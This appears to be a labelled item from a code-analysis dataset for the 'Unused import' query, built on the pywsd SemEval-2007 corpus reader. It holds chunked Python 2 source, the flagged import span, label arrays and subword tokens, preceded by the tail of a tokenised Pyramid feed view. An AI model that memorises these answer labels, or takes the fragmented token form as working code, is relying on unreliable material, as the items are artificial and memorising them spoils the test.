" ", "content", " ", "on", " ", "{", "0", "}'_", "._", "format_", "(_", "site", "\\u", "name_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "site", "\\u", "name", "'_", ":_", "site", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "view", "\\u", "config_", "(_", "renderer_", "=_", "'", "atom", "\\u", "comment", ".", "mak", "'_", ",_", "route", "\\u", "name_", "=_", "'", "atom", "\\u", "comment", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "comment_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "request_", "._", "session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "request_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbse", "ssion_", "=_", "DB", "Session_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "comments_", "=_", "submission_", "._", "get", "\\u", "recent", "\\u", "comments_", "(_", "20_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "update_", "=_", "comments_", "[_", "0_", "]_", "._", "adde", "d\\u", "on_", "._", "isoformat_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "response_", "._", "content", "\\u", "type_", "=_", "\"", "text", "/", "xml", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site", "\\u", "name_", "=_", "r_", "._", "registry_", "._", "settings_", "[_", "'", "site", ".", "site", "\\u", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "'", "comment", "s", "'_", ":_", "comments_", ",_", "'", "route", "'_", ":_", "'", "atom", "\\u", "comment", "'_", ",_", "'", "last", "\\u", "update", "'_", ":_", "last", "\\u", "update_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "feed", "\\u", "title", "'_", ":_", "'{", "0", "}", " ", "comment", "s", "'_", "._", "format_", "(_", "site", "\\u", "name_", ")_", ",_", "'", "feed", "\\u", "subtit", "le", "'_", ":_", "'", "newest", " ", "comment", "s", " ", "on", " ", "{", "0", "}'_", "._", "format_", "(_", "site", "\\u", "name_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "site", "\\u", "name", "'_", ":_", "site", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
alvations/pywsd/pywsd/semeval.py
[ { "content": "#!/usr/bin/env python -*- coding: utf-8 -*-\n#\n# Python Word Sense Disambiguation (pyWSD): SemEval REader API\n#\n# Copyright (C) 2014-2015 alvations\n# URL:\n# For license information, see LICENSE.md\n\nimport os, io\nfrom collections import namedtuple\n\nfrom BeautifulSoup import BeautifulSoup as bsoup\nfrom utils import remove_tags, semcor_to_synset\n\nInstance = namedtuple('instance', 'id, lemma, word')\nTerm = namedtuple('term', 'id, pos, lemma, sense, type')\nWord = namedtuple('word', 'id, text, sentid, paraid, term')\nAnswer = namedtuple('answer', 'sensekey, lemma, pos')\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class SemEval2007_Coarse_WSD:\n \"\"\"\n Object to load data from SemEval-2007 Coarse-grain all-words WSD task.\n \n USAGE:\n \n >>> coarse_wsd = SemEval2007_Coarse_WSD()\n >>> for inst, ans, sent, doc in coarse_wsd:\n ... print inst\n ... print inst.id, inst.lemma, inst.word\n ... print ans.sensekey\n ... break\n instance(id=u'd001.s001.t001', lemma=u'editorial', word=u'editorial')\n d001.s001.t001 editorial editorial\n [u'editorial%1:10:00::']\n \"\"\"\n \n \n\n \n \n\n ", "metadata": "root.SemEval2007_Coarse_WSD", "header": "['module', '___EOS___']", "index": 20 }, { "content": " def __init__(self, path='data/semeval2007_coarse_grain_wsd/'):\n self.path = path\n self.test_file = self.path + 'eng-coarse-all-words.xml'\n self.test_ans = self.path + 'dataset21.test.key'", "metadata": "root.SemEval2007_Coarse_WSD.__init__", "header": "['class', 'SemEval2007_Coarse_WSD', ':', '___EOS___']", "index": 36 }, { "content": " def fileids(self):\n \"\"\" Returns files from SemEval2007 Coarse-grain All-words WSD task. \"\"\"\n return [os.path.join(self.path,i) for i in os.listdir(self.path)]", "metadata": "root.SemEval2007_Coarse_WSD.fileids", "header": "['class', 'SemEval2007_Coarse_WSD', ':', '___EOS___']", "index": 41 }, { "content": " def sents(self, filename=None):\n \"\"\"\n Returns the file, line by line. Use test_file if no filename specified.\n \"\"\"\n filename = filename if filename else self.test_file \n with io.open(filename, 'r') as fin:\n for line in fin:\n yield line.strip()", "metadata": "root.SemEval2007_Coarse_WSD.sents", "header": "['class', 'SemEval2007_Coarse_WSD', ':', '___EOS___']", "index": 45 }, { "content": " def get_answers(self):\n \"\"\"\n Returns a {(key,value), ...} dictionary of {(instance_id,Answer),...)}\n >>> coarse_wsd = SemEval2007_Coarse_WSD()\n >>> inst2ans = coarse_wsd.get_answers()\n >>> for inst in inst2ans:\n ... print inst, inst2ans[inst\n ... break\n \"\"\"\n inst2ans = {}\n \n with io.open(self.test_ans, 'r') as fin:\n for line in fin:\n line, _, lemma = line.strip().rpartition(' !! ')\n lemma, pos = lemma[6:].split('#')\n textid, _, line = line.partition(' ')\n instid, _, line = line.partition(' ')\n sensekey = line.split()\n # What to do if there is no synset to convert to...\n # synsetkey = [semcor_to_synset(i) for i in sensekey]\n inst2ans[instid] = Answer(sensekey, lemma, pos)\n return inst2ans", "metadata": "root.SemEval2007_Coarse_WSD.get_answers", "header": "['class', 'SemEval2007_Coarse_WSD', ':', '___EOS___']", "index": 54 }, { "content": " def yield_sentences(self):\n test_file = io.open(self.test_file, 'r').read()\n inst2ans = self.get_answers() \n for text in bsoup(test_file).findAll('text'):\n if not text:\n continue\n textid = text['id']\n context_doc = \" \".join([remove_tags(i) for i in \n str(text).split('\\n') if remove_tags(i)])\n for sent in text.findAll('sentence'):\n context_sent = \" \".join([remove_tags(i) for i in \n str(sent).split('\\n') if remove_tags(i)])\n yield sent, context_sent, context_doc, inst2ans, textid", "metadata": "root.SemEval2007_Coarse_WSD.yield_sentences", "header": "['class', 'SemEval2007_Coarse_WSD', ':', '___EOS___']", "index": 77 }, { "content": " def test_instances(self):\n \"\"\"\n Returns the test instances from SemEval2007 Coarse-grain WSD task.\n \n >>> coarse_wsd = SemEval2007_Coarse_WSD()\n >>> inst2ans = coarse_wsd.get_answers()\n >>> for inst in inst2ans:\n ... print inst, inst2ans[inst]\n ... break\n d004.s073.t013 answer(sensekey=[u'pointer%1:06:01::', u'pointer%1:06:00::', u'pointer%1:10:00::'], lemma=u'pointer', pos=u'n')\n \"\"\"\n for sent, context_sent, context_doc, inst2ans, textid in self.yield_sentences():\n for instance in sent.findAll('instance'):\n instid = instance['id']\n lemma = instance['lemma']\n word = instance.text\n inst = Instance(instid, lemma, word)\n yield inst, inst2ans[instid], \n unicode(context_sent), unicode(context_doc)", "metadata": "root.SemEval2007_Coarse_WSD.test_instances", "header": "['class', 'SemEval2007_Coarse_WSD', ':', '___EOS___']", "index": 91 }, { "content": " def sentences(self):\n \"\"\"\n Returns the instances by sentences, and yields a list of tokens,\n similar to the pywsd.semcor.sentences.\n \n >>> coarse_wsd = SemEval2007_Coarse_WSD()\n >>> for sent in coarse_wsd.sentences():\n >>> for token in sent:\n >>> print token\n >>> break\n >>> break\n word(id=None, text=u'Your', offset=None, sentid=0, paraid=u'd001', term=None)\n \"\"\"\n for sentid, ys in enumerate(self.yield_sentences()):\n sent, context_sent, context_doc, inst2ans, textid = ys\n instances = {}\n for instance in sent.findAll('instance'):\n instid = instance['id']\n lemma = instance['lemma']\n word = instance.text\n instances[instid] = Instance(instid, lemma, word)\n \n tokens = []\n for i in sent: # Iterates through BeautifulSoup object.\n if str(i).startswith('<instance'): # BeautifulSoup.Tag\n instid = sent.find('instance')['id']\n inst = instances[instid]\n answer = inst2ans[instid]\n term = Term(instid, answer.pos, inst.lemma, answer.sensekey, \n type='open')\n tokens.append(Word(instid, inst.word, \n sentid, textid, term))\n else: # if BeautifulSoup.NavigableString\n tokens+=[Word(None, w, sentid, textid, None) \n for w in i.split()] \n yield tokens", "metadata": "root.SemEval2007_Coarse_WSD.sentences", "header": "['class', 'SemEval2007_Coarse_WSD', ':', '___EOS___']", "index": 111 }, { "content": " def __iter__(self):\n \"\"\" Iterator function, duck-type of test_instances() \"\"\"\n return self.sentences()", "metadata": "root.SemEval2007_Coarse_WSD.__iter__", "header": "['class', 'SemEval2007_Coarse_WSD', ':', '___EOS___']", "index": 148 } ]
[ { "span": "from utils import remove_tags, semcor_to_synset", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 47 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pyth", "on", " ", "Word", " ", "Sense", " ", "Disa", "mbi", "gua", "tion", " ", "(", "py", "WS", "D", "):", " ", "Sem", "Eval", " ", "RE", "ader", " ", "API_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "C", ")", " ", "2014", "-", "201", "5", " ", "al", "vati", "ons_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "URL", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "license", " ", "informati", "on", ",", " ", "see", " ", "LICENSE", ".", "md_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", ",_", "io_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "collections_", "import_", "namedtuple_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "Bea", "uti", "ful", "Soup_", "import_", "Bea", "uti", "ful", "Soup_", "as_", "bso", "up_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "utils_", "import_", "remove", "\\u", "tags_", ",_", "sem", "cor", "\\u", "to", "\\u", "synset", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Instance_", "=_", "namedtuple_", "(_", "'", "instance", "'_", ",_", "'", "id", ",", " ", "lemma", ",", " ", "word", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Term_", "=_", "namedtuple_", "(_", "'", "term", "'_", ",_", "'", "id", ",", " ", "pos", ",", " ", "lemma", ",", " ", "sense", ",", " ", "type", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Word_", "=_", "namedtuple_", "(_", "'", "word", "'_", ",_", "'", "id", ",", " ", "text", ",", " ", "sent", "id", ",", " ", "para", "id", ",", " ", "term", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Answer_", "=_", "namedtuple_", "(_", "'", "answer", "'_", ",_", "'", "sense", "key", ",", " ", "lemma", ",", " ", "pos", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Object", " ", "to", " ", "load", " ", "data", " ", "from", " ", "Sem", "Eval", "-", "2007", " ", "Coa", "rse", "-", "grain", " ", "all", "-", "words", " ", "WS", "D", " ", "task", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "USAGE", ":", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "coarse", "\\u", "ws", "d", " ", "=", " ", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "for", " ", "inst", ",", " ", "ans", ",", " ", "sent", ",", " ", "doc", " ", "in", " ", "coarse", "\\u", "ws", "d", ":", "\\", "10", ";", " ", " ", " ", " ", "...", " ", "print", " ", "inst", "\\", "10", ";", " ", " ", " ", " ", "...", " ", "print", " ", "inst", ".", "id", ",", " ", "inst", ".", "lemma", ",", " ", "inst", ".", "word", "\\", "10", ";", " ", " ", " ", " ", "...", " ", "print", " ", "ans", ".", "sense", "key", "\\", "10", ";", " ", " ", " ", " ", "...", " ", "break", "\\", "10", ";", " ", " ", " ", " ", "instance", "(", "id", "=", "u", "'", "d0", "01", ".", "s0", "01", ".", "t0", "01", "',", " ", "lemma", "=", "u", "'", "editor", "ial", "',", " ", "word", "=", "u", "'", "editor", "ial", "')", "\\", "10", ";", " ", " ", " ", " ", "d0", "01", ".", "s0", "01", ".", "t0", "01", " ", "editor", "ial", " ", "editor", "ial", "\\", "10", ";", " ", " ", " ", " ", "[", "u", "'", "editor", "ial", "%", "1", ":", "10", ":", "00", "::'", "]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "path_", "=_", "'", "data", "/", "sem", "eval", "2007", "\\u", "coarse", "\\u", "grain", "\\u", "ws", "d", "/'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "path_", "=_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "test\\u", "file_", "=_", "self_", "._", "path_", "+_", "'", "eng", "-", "coarse", "-", "all", "-", "words", ".", "xml", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "test\\u", "ans_", "=_", "self_", "._", "path_", "+_", "'", "dataset", "21.", "test", ".", "key", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fileid", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Return", "s", " ", "files", " ", "from", " ", "Sem", "Eval", "2007", " ", "Coa", "rse", "-", "grain", " ", "All", "-", "words", " ", "WS", "D", " ", "task", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "path_", ",_", "i_", ")_", "for_", "i_", "in_", "os_", "._", "listdir_", "(_", "self_", "._", "path_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sents_", "(_", "self_", ",_", "filename_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "file", ",", " ", "line", " ", "by", " ", "line", ".", " ", "Us", "e", " ", "test\\u", "file", " ", "if", " ", "no", " ", "filename", " ", "specified", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filename_", "=_", "filename_", "if_", "filename_", "else_", "self_", "._", "test\\u", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "io_", "._", "open_", "(_", "filename_", ",_", "'", "r", "'_", ")_", "as_", "fin_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "line_", "in_", "fin_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "line_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "answers_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "{(", "key", ",", "value", "),", " ", "...", "}", " ", "dictionar", "y", " ", "of", " ", "{(", "instance", "\\u", "id", ",", "Answer", "),", "...)", "}", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "coarse", "\\u", "ws", "d", " ", "=", " ", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "inst", "2a", "ns", " ", "=", " ", "coarse", "\\u", "ws", "d", ".", "get", "\\u", "answer", "s", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "for", " ", "inst", " ", "in", " ", "inst", "2a", "ns", ":", "\\", "10", ";", " ", " ", " ", " ", "...", " ", " ", " ", " ", "print", " ", "inst", ",", " ", "inst", "2a", "ns", "[", "inst", "\\", "10", ";", " ", " ", " ", " ", "...", " ", " ", " ", " ", "break", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst", "2a", "ns_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "io_", "._", "open_", "(_", "self_", "._", "test\\u", "ans_", ",_", "'", "r", "'_", ")_", "as_", "fin_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "line_", "in_", "fin_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line_", ",_", "\\u_", ",_", "lemma_", "=_", "line_", "._", "strip_", "(_", ")_", "._", "rpartition_", "(_", "'", " ", "!!", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lemma_", ",_", "pos_", "=_", "lemma_", "[_", "6_", ":_", "]_", "._", "split_", "(_", "'#'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "texti", "d_", ",_", "\\u_", ",_", "line_", "=_", "line_", "._", "partition_", "(_", "'", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst", "id_", ",_", "\\u_", ",_", "line_", "=_", "line_", "._", "partition_", "(_", "'", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sense", "key_", "=_", "line_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "What", " ", "to", " ", "do", " ", "if", " ", "there", " ", "is", " ", "no", " ", "synset", " ", "to", " ", "convert", " ", "to", "..._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "synset", "key", " ", "=", " ", "[", "sem", "cor", "\\u", "to", "\\u", "synset", "(", "i", ")", " ", "for", " ", "i", " ", "in", " ", "sense", "key", "]_", "\\u\\u\\uNL\\u\\u\\u_", "inst", "2a", "ns_", "[_", "inst", "id_", "]_", "=_", "Answer_", "(_", "sense", "key_", ",_", "lemma_", ",_", "pos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "inst", "2a", "ns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "yield", "\\u", "sentences_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "file_", "=_", "io_", "._", "open_", "(_", "self_", "._", "test\\u", "file_", ",_", "'", "r", "'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst", "2a", "ns_", "=_", "self_", "._", "get", "\\u", "answers_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "text_", "in_", "bso", "up_", "(_", "test\\u", "file_", ")_", "._", "find", "All_", "(_", "'", "text", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "text_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "texti", "d_", "=_", "text_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "context", "\\u", "doc_", "=_", "\"", " ", "\"_", "._", "join_", "(_", "[_", "remove", "\\u", "tags_", "(_", "i_", ")_", "for_", "i_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "str_", "(_", "text_", ")_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", "if_", "remove", "\\u", "tags_", "(_", "i_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "sent_", "in_", "text_", "._", "find", "All_", "(_", "'", "sentence", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context", "\\u", "sent_", "=_", "\"", " ", "\"_", "._", "join_", "(_", "[_", "remove", "\\u", "tags_", "(_", "i_", ")_", "for_", "i_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "str_", "(_", "sent_", ")_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", "if_", "remove", "\\u", "tags_", "(_", "i_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "sent_", ",_", "context", "\\u", "sent_", ",_", "context", "\\u", "doc_", ",_", "inst", "2a", "ns_", ",_", "texti", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "instances_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "test", " ", "instance", "s", " ", "from", " ", "Sem", "Eval", "2007", " ", "Coa", "rse", "-", "grain", " ", "WS", "D", " ", "task", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "coarse", "\\u", "ws", "d", " ", "=", " ", "Sem", "Eval", "2007", "\\u", "Coa", "rse", "\\u", "WS", "D", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "inst", "2a", "ns", " ", "=", " ", "coarse", "\\u", "ws", "d", ".", "get", "\\u", "answer", "s", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "for", " ", "inst", " ", "in", " ", "inst", "2a", "ns", ":", "\\", "10", ";", " ", " ", " ", " ", "...", " ", " ", " ", " ", "print", " ", "inst", ",", " ", "inst", "2a", "ns", "[", "inst", "]", "\\", "10", ";", " ", " ", " ", " ", "...", " ", " ", " ", " ", "break", "\\", "10", ";", " ", " ", " ", " ", "d0", "04", ".", "s0", "73.", "t0", "13", " ", "answer", "(", "sense", "key", "=[", "u", "'", "point", "er", "%", "1", ":", "0", "6", ":", "01", "::'", ",", " ", "u", "'", "point", "er", "%", "1", ":", "0", "6", ":", "00", "::'", ",", " ", "u", "'", "point", "er", "%", "1", ":", "10", ":", "00", "::'", "],", " ", "lemma", "=", "u", "'", "point", "er", "',", " ", "pos", "=", "u", "'", "n", "')", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "sent_", ",_", "context", "\\u", "sent_", ",_", "context", "\\u", "doc_", ",_", "inst", "2a", "ns_", ",_", "texti", "d_", "in_", "self_", "._", "yield", "\\u", "sentences_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "instance_", "in_", "sent_", "._", "find", "All_", "(_", "'", "instance", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inst", "id_", "=_", "instance_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lemma_", "=_", "instance_", "[_", "'", "lemma", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word_", "=_", "instance_", "._", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst_", "=_", "Instance_", "(_", "inst", "id_", ",_", "lemma_", ",_", "word_", ")_", 